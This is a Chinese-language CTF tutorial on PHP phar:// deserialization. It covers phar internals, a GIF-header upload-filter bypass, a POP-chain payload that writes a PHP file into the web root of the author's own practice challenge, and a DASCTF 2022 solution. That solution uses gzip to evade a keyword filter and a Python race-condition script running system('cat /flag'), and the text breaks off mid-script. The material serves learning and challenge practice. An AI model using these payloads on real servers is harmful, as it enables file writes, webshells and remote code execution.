前言

在文章开始之前,需要先搞清几个问题

什么是Phar

参考php.net

容易得知phar是一种php项目的打包文件,以便于分发和安装

The phar extension provides a way to put entire PHP applications into a single file called a “phar” (PHP Archive) for easy distribution and installation

Phar 还可以在 tar、zip 和 phar 文件格式之间进行转换

Phar also can convert between tar, zip and phar file formats

官方解释:可以把它当作PHP的U盘,拷到哪哪都能用

What is phar? Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.

参照下面这个用法,可以得知phar相当于一个存档

可以直接运行myphar.phar中的file.php

1
2
3
<?php
include 'phar:///path/to/myphar.phar/file.php';
?>

官方页面给出的phar://支持函数为fopen()opendir()mkdir(),实际上还有很多函数

利用Phar的首要前提

  • Phar需要 PHP >= 5.2

  • 使用Phar文件不需要任何的配置,但创建Phar文件需要修改php.ini文件(ini_set()无法修改php.ini中的phar.readonly)

    1
    phar.readonly = On

官方文档中还说

The PharData class provides a high-level interface to accessing and creating non-executable tar and zip archives. Because these archives do not contain a stub and cannot be executed by the phar extension, it is possible to create and manipulate regular zip and tar files using the PharData class even if phar.readonly php.ini setting is 1.

也就是phar.readonly = 1时,仍能使用PharData 类进行phar创建和操作

链接:https://www.php.net/manual/zh/class.phardata.php

Phar文件的使用方式

1
phar://(phar文件本地路径)

为什么通过Phar进行漏洞利用?

BlackHat大会上的,Sam Thomas分享了File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题,

也可通过本站进行PDF文件下载

PDF里面讲的内容简单概括就是可以通过phar://来进行反序列化触发操作,

因为在对phar进行解析的过程中触发了php_var_unserialize函数(php_var_unserialize所在的phar.c文件位置,在src/ext/phar/phar.c),对meta-data的操作

很多时候要利用某些反序列化漏洞时没法直接通过unserialize()这个入口进行反序列化操作,这时怎么办?

答案是可以使用phar://来对符合phar结构的文件进行解析,不依赖unserialize函数进行反序列化操作

可以利用的函数如下(不完全)

1
fileatime / filectime / filemtimestat / fileinode / fileowner / filegroup / filepermsfile / file_get_contents / readfile / fopen / file_exists / file / is_dir / is_executable / is_file / is_link / is_executable / is_readable / is_writeable / is_writableparse_ini_fileunlink / copy / parse_ini_file / unlink / parse_ini_file

然后就是本文的主要内容: phar的一个利用案例以及对2022DASCTF7月赋能赛的一道题目的分析

本文重点不是反序列化POP链的构造和利用,如果想了解POP链的构造和利用,可以移步本站另外一篇文章

正文前

Phar归档的组成

Phar归档由以下四部分组成(参照:PHP文档),PHP判别是否为Phar归档时并不通过文件的后缀名来判别(调皮一下:它看的是内心)

Phar归档可以设置任意后缀名

  • stub:Phar标志,这个标志表示此文件为Phar归档。

    PHP官方文档已有说明,最小的stub是<?php __HALT_COMPILER();

    A Phar’s stub is a simple PHP file. The smallest possible stub follows:

    1
    <?php __HALT_COMPILER();

    而必须包含__HALT_COMPILER();?>,;是可省略的,但也有要求

    There are no restrictions on the contents of a Phar stub, except for the requirement that it conclude with __HALT_COMPILER();.

    The closing PHP tag ?>may be included or omitted, but there can be no more than 1 space between the ; and the close tag?>or the phar extension will be unable to process the Phar archive’s manifest.

  • manifest: 此部分用于存放描述压缩于phar归档中的文件的权限、属性等信息,我们要利用的地方是里面的meta-data

  • file contents: 存储的压缩文件

  • signature: Phar归档的签名,用于辨别Phar归档是否被修改过,支持的签名格式有 MD5、SHA1、SHA256、SHA512 和 OPENSSL

Phar归档manifest的格式

(参照官方文档

360截图17911011307166

我们利用的主要位置就是manifest中的??那一行

也就是存储着序列化数据的位置,Serialized Phar Meta-data

360截图16550422275133

Phar归档的创建

修改php.ini

ctrl+f搜索phar.readonly

360截图17860531487438

将On修改为Off

360截图17411029586254

生成可利用的Phar的基本代码

以下是生成一个phar文件的基本程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
//一个类
class Test {

}
//类的实例化对象
$obj = new Test();

//生成phar时,文件的后缀名必须为phar
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($obj);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

注意生成phar时后缀名一定要为phar,否则报如下错误

不过利用的时候后缀名是不是phar并不重要

360截图18141224437349

生成Phar文件

编辑.php文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//一个类
class Test {
public $testdata;
public function test_it() {
echo 1;
}
}
//类的实例化对象
$obj = new Test();

//尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
@unlink("phar.phar");

//生成phar时,文件的后缀名必须为phar
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($obj);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

假设上述程序代码保存为1.php,

那么只需要执行(前提是php已经设置于环境变量中,或者跑到php程序目录打开命令行)

1
php 1.php

即可生成phar.phar

360截图1843070960104102

360截图17860530112116122

查看phar文件

通过010 Editor查看phar归档内部结构

360截图17001017280644

将其分为四个部分,可以看到序列化的对象放在第二部分

360截图18180713247751

以下内容和序列化后的对象对比,内容一致

360截图170909237511561

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//一个类
class Test {
public $testdata;
public function test_it() {
echo 1;
}
}
//类的实例化对象
$obj = new Test();
echo serialize($obj);
?>

360截图17411024866779

简单利用Phar的stub的特点

注意到phar归档的stub信息在文件开头的位置

如果我们设置stub为如下

1
2
//设置stub
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

同时改变生成的phar文件的后缀名,即可达到绕过文件限制上传的效果

生成的phar归档如下,此时文件MIME类型会为image/gif

360截图184307097791119

Phar的简单使用方式

创建一个phar归档

先使用如下代码创建一个phar归档

下面的程序的Test类是上面那个Test类修改了一些代码,

添加了__destruct()方法在对象销毁时触发test_it()方法以便直观地展示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
//一个类
class Test {
public $testdata = "OK";
public function test_it() {
echo $this->testdata;
}
function __destruct()
{
echo $this->testdata;
}
}
//类的实例化对象
$obj = new Test();

//尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
@unlink("phar.phar");

//生成phar时,文件的后缀名必须为phar
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($obj);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

使用include配合phar://协议

创建包含以下代码的php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//一个类
class Test {
public $testdata = "OK";
public function test_it() {
echo $this->testdata;
}
function __destruct()
{
echo $this->testdata;
}
}

include 'phar://phar.phar';
?>

执行它可以发现对象被创建了(因为打印了OK),

可是上面的代码并没有实例化对象的操作,也没有unserialize函数

360截图18770526768265

使用其它可用函数

一开始已经说过有很多函数都能处理phar

尝试使用file_exists函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//一个类
class Test {
public $testdata = "OK";
public function test_it() {
echo $this->testdata;
}
function __destruct()
{
echo $this->testdata;
}
}

file_exists('phar://phar.phar');
?>

结果如下

360截图1872012210511293

将phar.phar改为phar.txt同样可以

360截图18141221154652

360截图16570127114158115

其它的协议配合phar协议

php://filter/read

1
php://filter/read=convert.base64-encode/resource=phar://phar.txt

OK出现在最后

360截图181412218711194

php://filter/resource

1
php://filter/resource=phar://phar.txt/test.txt

可能是我在生成phar前没有创建test.txt,报了一堆Warning说test.txt不存在

但是最后仍然出现OK,也就是利用成功

360截图16720403266376

经过测试,最后可以随便填文件名

360截图16720329648296

compress.zlib://

1
compress.zlib://phar://phar.txt/test.txt

1
compress.zlib://phar://phar.txt

结果如下

360截图17450521408755

compress.bzip://

没有测试成功,可能是我的PHP没有Bzip / Gzip 扩展

1
compress.bzip://phar://phar.txt/test.txt

compress.bzip2://

没有测试成功,可能是我的PHP没有Bzip / Gzip 扩展

1
compress.bzip2://phar://phar.txt/test.txt

反序列化利用

先写个类

以下代码仍然使用上面编写的测试类,但是让它的输出内容变成其它文字,而不是“OK”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//一个类
class Test {
public $testdata = "OK";
public function test_it() {
echo $this->testdata;
}
function __destruct()
{
echo $this->testdata;
}
}

file_exists('phar://phar.phar');
?>

构造Phar

修改可控变量内容为想要的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
//一个类
class Test {
public $testdata = "OK";
public function test_it() {
echo $this->testdata;
}
function __destruct()
{
echo $this->testdata;
}
}
//类的实例化对象
$obj = new Test();
//修改可控变量内容
$obj->testdata = "I need to change 'OK' to 'OoooooooK'";

//尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
@unlink("phar.phar");

//生成phar时,文件的后缀名必须为phar
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($obj);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

结果

结果如下,成功输出I need to change 'OK' to 'OoooooooK'

360截图178606056310385

正文

上面的内容,对Phar是初步的了解

phar反序列化的题目往往都使用了类(class),因为phar反序列化的利用总是与类有关(PHP对象注入)

下面将举个例子,简单说明phar的利用手法

假设场景

为了方便讲解,我出了一个简单的题

假如有这么一个图库,允许用户上传和查看图片、删除图片

题目源码

总共三个文件

  • config.php

  • index.php

  • upload.php

源码在文章后部分”源码获取与运行“处

题目分析

题目主页

访问主页,可以见到以下界面

360截图181412245110387

右上角有个上传,随便上传点东西

360截图181412215567107

此时主页是这样的

360截图167203286580103

查看网页源代码可以发现提示

360截图167204018377114

上传不是图片的文件都是不可行的

360截图17060220767187

改成jpg虽然可以上传,但是图片马无法利用,

服务器配置文件写了只允许后缀为.php的文件才能作为PHP程序运行,

并且存储目录也不是网站目录

360截图17411027548991

360截图17411024617254

图片显示依靠base64编码

360截图16720330252037

先看config.php

可知图片存储目录在/tmp/pic/

flag在这个config.php中,要想办法读到服务器上的config.php

360截图17860602569280

同时存在一些函数

check_images函数用于检查文件后缀名

360截图17070118536180

还有一个类用于文件删除

有一个变量$file_name可以直接控制,此变量可POST参数del进行控制,

但是并不能删除任意文件,因为删除前会检查是否删除的文件是否在图片目录内,也不能通过../进行目录穿越

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//删除文件专用类
class delfile {
public $base_dir;
public $file_name;
public $log_file_path;

public function __construct($set_basedir, $SET_LOG_FILE) {
$this->base_dir = $set_basedir;
$this->log_file_path = $SET_LOG_FILE;
}

//标记需要删除的文件
public function mark_file($set_file) {
$this->file_name = $set_file;
}

//删除功能,文件必须存在且目录需要与$pic_save_path一致,不允许出现../
public function del() {
if (($this->file_name !== NULL && $this->file_name !== "")) {
if ( file_exists($this->file_name) && $this->check_assert() ) {
@unlink($this->file_name);
} else {
$this->filenotfound_recording();
}
}
}

//检查目录是否与$pic_save_path一致,是否出现../
public function check_assert() {
if ((substr($this->file_name, 0, strlen($this->base_dir)) === $this->base_dir)
&& ($this->check_path($this->file_name))) {
return true;
}
return false;
}

//不允许../出现(不允许目录穿越)
public function check_path($str) {
if ((strpos($str, "../") !== FALSE) || (strpos($str, "..") !== FALSE)) {
return false;
}
return true;
}

//Notfoundfile.log记录删除失败的文件名
public function filenotfound_recording() {
if ($this->log_file_path !== NULL || $this->log_file_path !== "") {
$write = "Meet_notfound at file: {$this->file_name}\n";
file_put_contents($this->log_file_path, $write, FILE_APPEND);
}
}

public function __destruct() {
$this->del();
}
}

看主页index.php

删除文件依靠向index.php POST 变量del,内容是文件路径,是可控的

360截图1875081378132121

所有图片展示依靠遍历目录实现,还会判断文件是不是图片文件

图片内容输出依靠file_get_contents函数配合base64编码

360截图16850818528355

看上传页upload.php

上传限制住了文件后缀名和MIME类型

这里限制文件20KB是因为服务器带宽有限,图片又大又多会导致页面加载缓慢

360截图174110267511973

分析

整个图库的功能非常简单:图片展示、图片上传、图片删除

以常规眼光来看,总体看起来这个图库非常安全:

  • 上传只允许图片,限制了后缀名
  • 图片文件存储的目录不在网站目录下,无法通过URL直接访问上传的文件
  • 无法任意删除文件,只能删除处于图片存储目录下的文件
  • 传参del如果是不存在的文件可以写进日志,但日志文件路径写死了

但是现在有phar反序列化可以使用,整个图库也有了突破点

利用

要进行phar反序列化的利用,首先先找能控制触发phar反序列化的函数

index.php中有一个file_get_contents函数,但是没法进行控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function show_image($pic_save_path, $image_name) {
$file_loc = $pic_save_path . $image_name;
if (file_exists($file_loc)) {
$pic_data = "data:jpg;base64,".base64_encode(file_get_contents($file_loc));
?>
<div class="box">
<img src="<?php echo $pic_data; ?>" alt="<?php echo $image_name; ?>">
<div class="del"><button onclick="send_filename_delfile(this)" name="<?php echo $file_loc; ?>">删除</button></div>
</div>
<?php
}
}

因为$file_loc来自对/tmp/pic目录的遍历,文件名不能设置为phar://(文件名不允许//

1
2
3
4
5
6
7
8
9
10
11
$dir = opendir( $pic_save_path );

while( false != ( $file = readdir( $dir ) ) ) {
if(($file != ".") and ($file != ".." )) {
//echo $pic_save_path . $file;
if (check_images($file)) {
show_image($pic_save_path, $file);
}
}
}
closedir( $dir );

然后就是config.php中的delfile类有file_exists函数和file_put_contents函数

这里有戏,在对象销毁时将会调用del方法,此时可以控制file_exists函数的传入变量$this->file_name

360截图17180819634747

先看看哪里使用了这个类

在index.php中实例化了delfile这个类,用于删除指定图片

$del变量的值是$_POST获取的post参数del

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
require_once "config.php";

$del_fun = new delfile($pic_save_path, $log_save_path);

//$del = $_GET["del"];//For test
$del = $_POST["del"];
if (isset($del)) {
$del_fun->mark_file($del);

die("OK");
}
部分省略................

传入的$del变量赋值给了我们要控制的$this->file_name,也就是$this->file_name是可控的

我们只需要上传制作的phar文件,然后POST:del=phar:///tmp/pic/上传的phar文件即可触发反序列化

(反序列化相当于对象的还原,也可以理解为实例化了一个对象)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//删除文件专用类
class delfile {
public $base_dir;
public $file_name;
public $log_file_path;

public function __construct($set_basedir, $SET_LOG_FILE) {
$this->base_dir = $set_basedir;
$this->log_file_path = $SET_LOG_FILE;
}

//标记需要删除的文件
public function mark_file($set_file) {
$this->file_name = $set_file;
}
部分省略................

光有反序列化触发还不够,还需要找到能利用的地方进行getshell/rce

如下,还有file_put_contents函数

1
2
3
4
5
6
7
8
9
部分省略................
//Notfoundfile.log记录删除失败的文件名
public function filenotfound_recording() {
if ($this->log_file_path !== NULL || $this->log_file_path !== "") {
$write = "Meet_notfound at file: {$this->file_name}\n";
file_put_contents($this->log_file_path, $write, FILE_APPEND);
}
}
部分省略................

反序列化时$this->log_file_path可控,可以赋值为/var/www/html,即网站目录

然后反序列化时$this->file_name也可控,赋值为<?php ?>即可执行php程序

思路就很清晰了

  • POST:del=phar:///tmp/pic/上传的phar文件
  • $del_fun->mark_file($del) —》 $this->file_name = phar:///tmp/pic/上传的phar文件
  • 对象销毁触发魔术方法__destruct()
  • $this->del() —》file_exists($this->file_name)
  • phar解析时触发反序列化,反序列化了delfile对象
  • $this->file_name = "<?php phpinfo(); ?>"$this->log_file_path = "/var/www/html/phpinfo.php"
  • 反序列化的delfile对象销毁,触发魔术方法__destruct()
  • $this->del() —》file_exists($this->file_name) —》false —》$this->filenotfound_recording()
  • $write = "Meet_notfound at file: {$this->file_name}\n"
  • 利用file_put_contents(\$this->log_file_path, $write, FILE_APPEND)<?php phpinfo(); ?>/var/www/html/phpinfo.php
  • 访问phpinfo.php出现phpinfo,完成

poc如下, 写入php_info.php到/var/www/html/,内容是<?php phpinfo(); ?>,当然也可以是一句话木马

想进一步了解为什么这样写可以移步本站另外一篇文章

1
2
3
4
5
6
7
8
9
10
11
class delfile {
public $base_dir;
public $file_name;
public $log_file_path;

public function __construct() {
$this->base_dir = "";
$this->file_name = "<?php phpinfo(); ?>";
$this->log_file_path = "/var/www/html/php_info.php";
}
}

创建一个phar文件,创建的phar文件的文件名是phar.phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
//一个类
class delfile {
public $base_dir;
public $file_name;
public $log_file_path;

public function __construct() {
$this->base_dir = "";
$this->file_name = "<?php phpinfo(); ?>";
$this->log_file_path = "/var/www/html/php_info.php";
}
}
//类的实例化对象
$obj = new delfile();


//尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
@unlink("phar.phar");

//生成phar时,文件的后缀名必须为phar
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($obj);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

将phar.phar改名为phar.jpg

360截图18430710173109

上传

需要记住这个位置

360截图17981129343460

打开Brup Suite保持监听,点击删除按钮时抓包(当然可以使用hackbar,能post传参就行)

抓到post请求

360截图1741102794109145

修改参数del的值(加上phar://)

1
del=phar:///tmp/pic/phar.png

360截图16751022115154156

Go

360截图17090918124740

此时访问php_info.php,可以发现成功写入

360截图17860602829090

所讲题目源码获取

方式0(推荐)

可直接访问本站ctfm平台启动题目

点击访问

方式1(源码下载)

php源码zip打包:点击下载

使用方法:

确保安装了PHP和Web中间件(Nginx或Apache-HTTPd)

  • 解压下载的zip文件到网站目录
  • 访问服务器开放的指定端口

注意:测试完记得删除这三个文件防止被利用导致财产损失

方式2(会用docker建议使用)

docker-compose文档zip打包:点击下载

使用方法:

确保安装了docker与docker-compose

  • 解压下载的zip文件

  • 进入解压后的目录(如何判断有没有正确进入:能看到Dockefile在当前目录)

  • 修改docker-compose.yml(此步可跳过)

    找到如下部分,将8085改为你想要的端口

    1
    2
    ports: 
    - 8085:80
  • 执行以下命令创建镜像(权限不足请加sudo)

    1
    docker-compose build
  • 启动

    1
    docker-compose up -d
  • 访问指定端口(没改的话就是8085)

检验

如果想检验对上述的知识的理解程度,

可以尝试做下这题(本题大概在2022.8.27前一直开着,以后可能也会开着,再说),

题目崩了的话麻烦使用邮箱联系我,邮件主题请写phar反序列化知识简单检验的题目崩了

PS: 要EXP也可以联系392147548@qq.com, 邮件主题请写 我需要phar反序列化知识简单检验的exp

有非预期解(也就是不用phar)的话可以在评论区留言非预期解,>︿<


点击访问题目

题目位于分类TEST下,名字为私人图库2Plus


题目Ez to getflag

题目是2022 DASCTF 7月赋能赛的一道WEB题,

虽然有个非预期,通过其”搜索“功能直接输入/flag就能拿flag,但是并不影响其作为phar反序列化题目来进行讲解

题目没有给附件,但是可以通过其”搜索“功能读出源码

源码

file.php

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
?>

index.php

这个index.php不是官方原版哈,

当时忘记保存了,现在只好自己简单写一个(功能是一致的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
session_start();
require_once('class.php');
if (isset($_FILES["file"])) {
$upload = new Upload();
$upload->uploadfile();
}
?>

<html>
<head>
<meta charset="utf-8">
<title>index</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>

</body>
</html>

class.php

可以发现其中有三个类:Upload、Show、Test类

非常贴心的给了Test类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}

}
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
?>

分析

主要的东西都在class.php里面

构造链

关于POP链的构造原理这里就不详细展开了,如果想详细了解的话欢迎移步本站另外一篇文章

整条链是这样的:

1
Test::__destruct() ---》 Upload::__toString() ---》 Show::__get() ---》 Show::__call

详细分析

首先是Test类里面的__destruct()

1
2
3
4
public function __destruct()
{
echo $this->str;
}

如果将$this->str赋值为Upload类的对象,就可以触发Upload类里的__toString()方法

因为echo是字符串操作

1
2
3
4
5
6
class Test{
public $str;
public function __construct(){
$this->str = new Upload();
}
}

然后是Upload类里面的__toString()方法

$cont->$size有点小不同,读取对象$cont里的变量的值,假如变量名是abcd,应该是$cont->abcd才对,但这里显然不是,

这里这样写的话我感觉是一种比较灵活的写法,也是PHP特性的一种利用。

PHP里面比如说执行一个函数,例如system函数,一般写成system()

当然也可以写成$a="system";$a();,相当于"system"();

类比一下,$cont->$size意思并不是对象$cont里面的size变量,而是读取对象$cont里面名为$size的变量

1
2
3
4
5
6
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}

$size来自$this->fsize$cont来自$this->fname,令$this->fnameShow类的对象,即可触发Show类__get()方法

那么$this->fsize的值应该是什么?继续往下走

1
2
3
4
5
6
7
8
class Upload{
public $fname;
public $fsize;
public function __construct(){
$this->fname = new Show();
$this->fsize = ?;
}
}

继续看Show类__get方法

复习一下__get方法,__get方法会在访问对象中不存在的或私有的变量时被调用

也就是执行到$cont->$size时,想要触发__get,则$size的内容不能为Upload类中的变量名,即source

满足上面条件时,触发__get$name即为$size的内容,具体填什么还需要继续看下去

1
2
3
4
function __get($name)
{
$this->ok($name);
}

最后到Show类__call方法

来复习一下__call方法,__call方法在访问对象中私有的方法或不存在的方法时被调用,

$name 是调用的方法名,$arguments是所调用方法的()中填的参数

所以,上面的$this->ok($name);

对应来说,$name是”ok”,$arguments的值是$this->ok($name);里的$name

也就是说fsize填”phpinfo“就会调用phpinfo();,填其它值就会调用$this->backdoor,最终include();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
} else {
$this->backdoor(end($arguments));
}
return $name;
}

public function backdoor($door){
include($door);
echo "hacked!!";
}

到此,第一步已经完成,可以开始构造phar归档了

以下是构造phar文档和phar的利用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Show {
public $source;
}

class Upload {
public $fname;
public $fsize;
public function __construct(){
$this->fname = new Show();
$this->fsize = "phpinfo";
}
}
class Test {
public $str;
public function __construct(){
$this->str = new Upload();
}
}


$test = new Test;

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

然后使用gzip压缩phar.phar(这里利用了一个特性gzip压缩后不影响phar://的利用

1
gzip phar.phar

因为Upload类中的file_check方法会对文件内容进行检查

1
2
3
4
5
6
7
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|' . 
'assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}

打开未进行gzip压缩的phar文件,可以发现存在”<?php“和”php” (phpinfo),这是不允许的

360截图17991021254269

而gzip压缩后的phar文件已经没有了相关字符

360截图1792090110999133

当然也可以用文章前面部分提及的compress.bzip://compress.bzip2://,这里没有限制,

但是官方文档中有说明:

想要利用压缩 phar,需要启用 zlibbzip2 扩展。 此外,想要利用 OpenSSL 签名,需要开启 OpenSSL 扩展才能使用。


然后将文件名改为phar.png然后上传

360截图17860601116122130

获取保存在服务器上的文件名

360截图18470126111115129

因为文件上传成功之后会计算文件名md5作为保存的文件名

1
2
3
4
5
6
7
8
9
10
class Upload {
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
}

到file.php触发反序列化,此时应当能看到phpinfo

360截图1716110791126134

关于下一步的利用请继续看

解题方案

经过我的研究,正经解法的话,这题三种路径都能进行解题

  • 官方WP中写的解法

    • 上传gzip压缩之后的phar文件
    • 条件竞争进行php文件上传
    • 在file.php使用phar://来触发反序列化,session文件包含
  • 其它路径第一种(无需gzip压缩

    • 上传phar文件(Stub设置为__HALT_COMPILER(); ?>)
    • 条件竞争进行php文件上传
    • 在file.php使用phar://来触发反序列化,session文件包含
  • 其它路径第二种(最容易操作

    • 上传base64编码后的php程序
    • 上传gzip压缩之后的Phar文件(配合php://filter/read=convert.base64-decode)
    • 在file.php使用phar://来触发反序列化

具体操作请看下面部分

官方WP中写的解法

以下部分来自官方WP

phar的生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Upload{
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}

$upload = new Upload();
$show = new Show();
$test = new Test();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_chaaa';
// $test->str = 'okkkk';

@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成的phar.phar需要进行gzip压缩,并改名为shell.png

利用php的session上传进度以及文件上传的条件竞争进行文件包含

编写python脚本进行文件包含,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import sys,threading,requests,re
from hashlib import md5

HOST = sys.argv[1]
PORT = sys.argv[2]

flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
global check,flag
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
params = {
'f': 'phar://upload/'+fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
check = False

# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
global check
while check:
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
}
cookies={
'PHPSESSID': 'chaaa'
}
files={
'file': ('chaaa.png', b'cha'*300)
}
